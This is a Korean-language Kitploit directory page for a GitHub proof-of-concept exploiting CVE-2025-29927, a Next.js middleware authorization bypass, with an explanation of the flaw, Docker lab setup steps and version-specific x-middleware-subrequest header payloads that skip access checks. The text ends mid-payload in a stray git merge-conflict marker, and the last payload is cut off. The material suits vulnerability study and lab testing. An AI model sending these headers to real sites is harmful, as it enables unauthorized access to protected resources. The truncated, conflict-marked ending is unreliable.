Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-29927 — CVE-2025-29927에 대한 개념 증명 익스플로잇, Next.js 미들웨어 우회 취약점입니다. 버전별 페이로드와 보호된 경로에 대한 무단 접근 테스트를 위한 Docker 기반 실습 환경을 포함합니다. | Kitploit
도구/GitHubGitHub/jeymo092/cve-2025-29927
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjeymo092/cve-2025-29927

cve-2025-29927

CVE-2025-29927에 대한 개념 증명 익스플로잇, Next.js 미들웨어 우회 취약점입니다. 버전별 페이로드와 보호된 경로에 대한 무단 접근 테스트를 위한 Docker 기반 실습 환경을 포함합니다.

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-29927

Image

CVE-2025-29927 취약점

Next.js의 11.1.4부터 13.5.6까지, 14.x의 14.2.25 미만, 15.x의 15.2.3 미만의 모든 버전이 이 취약점의 영향을 받습니다. 특히 접근 제어 구현을 위해 미들웨어에 의존하는 애플리케이션에서 영향이 크며, 공격자는 인증 없이 보호된 리소스에 무단 접근할 수 있습니다.

취약점 메커니즘

CVE-2025-29927 취약점은 Next.js가 x-middleware-subrequest 헤더를 처리하는 방식의 설계 결함에서 비롯됩니다. 이 헤더는 원래 Next.js 프레임워크 내에서 미들웨어의 무한 실행 루프를 방지하기 위한 내부 용도로 사용되었습니다.

Next.js 애플리케이션이 미들웨어를 사용할 때, runMiddleware 함수가 들어오는 요청을 처리하기 위해 호출됩니다. 이 함수의 기능 중 하나로 x-middleware-subrequest 헤더의 존재 여부를 확인합니다. 이 헤더가 존재하고 특정 값을 포함하면 미들웨어 실행이 완전히 건너뛰어지고, 요청은 NextResponse.next()를 통해 원래 대상으로 직접 전달됩니다.

취약점은 이 헤더 검사가 외부 사용자에 의해 악용될 수 있다는 데 있습니다. 공격자는 올바른 값을 가진 x-middleware-subrequest 헤더를 요청에 추가함으로써 미들웨어 기반의 모든 보호 메커니즘을 완전히 우회할 수 있습니다.

프로젝트 설정 가이드

  1. 저장소를 클론합니다:

    root@kitploit:~
    git clone <repository_url>
    
  2. 프로젝트 디렉토리로 이동합니다:

    root@kitploit:~
    cd nextjs-docker-app
    
  3. Docker 이미지를 빌드합니다:

    root@kitploit:~
    docker build -t nextjs-app .
    
  4. Docker 컨테이너를 실행합니다:

    root@kitploit:~
    docker run -p 3000:3000 nextjs-app
    
  5. 브라우저에서 http://localhost:3000으로 애플리케이션에 접속합니다.

Next.js 버전별 익스플로잇

익스플로잇 방법은 Next.js 버전에 따라 약간씩 다릅니다:

12.2 이전 버전:

이 버전에서는 미들웨어 파일의 이름이 _middleware.ts여야 하며 pages 폴더 안에 위치해야 했습니다. middlewareInfo.name의 값은 디렉토리 이름과 파일 이름으로 구성되었습니다:

root@kitploit:~
x-middleware-subrequest: pages/_middleware

중첩된 라우트의 경우 여러 수준에 여러 미들웨어 파일이 있을 수 있으므로 헤더에 여러 가능한 값이 생깁니다:

root@kitploit:~
x-middleware-subrequest: pages/dashboard/_middleware

또는

root@kitploit:~
x-middleware-subrequest: pages/dashboard/panel/_middleware

12.2 이상 버전:

버전 12.2부터 Next.js는 미들웨어 규칙을 변경했습니다. 파일 이름은 middleware.ts(밑줄 없음)여야 하며 더 이상 pages 폴더에 위치하지 않습니다. 이 버전의 경우 페이로드는 더 간단합니다:

root@kitploit:~
x-middleware-subrequest: middleware

또한 Next.js는 /src 디렉토리를 사용하는 대체 프로젝트 구조를 허용합니다. 이러한 경우 페이로드는 다음과 같습니다:

root@kitploit:~
x-middleware-subrequest: src/middleware

13.2.0 이상 버전:

버전 13.2.0 이상에서는 Next.js가 미들웨어 실행에 최대 재귀 깊이를 도입했습니다. 이는 무한 루프를 방지하기 위해 구현되었지만 취약점에는 영향을 미치지 않습니다. 헤더 검사가 재귀 깊이 검사보다 먼저 발생하므로 익스플로잇은 동일하게 유지됩니다.

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

또는 /src 디렉토리 구조를 사용하는 프로젝트의 경우:

root@kitploit:~
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:sr
=======
# cve-2025-29927
>>>>>>> 56c7b2dcd548caf771750519107bf7c57749a864
도구 다운로드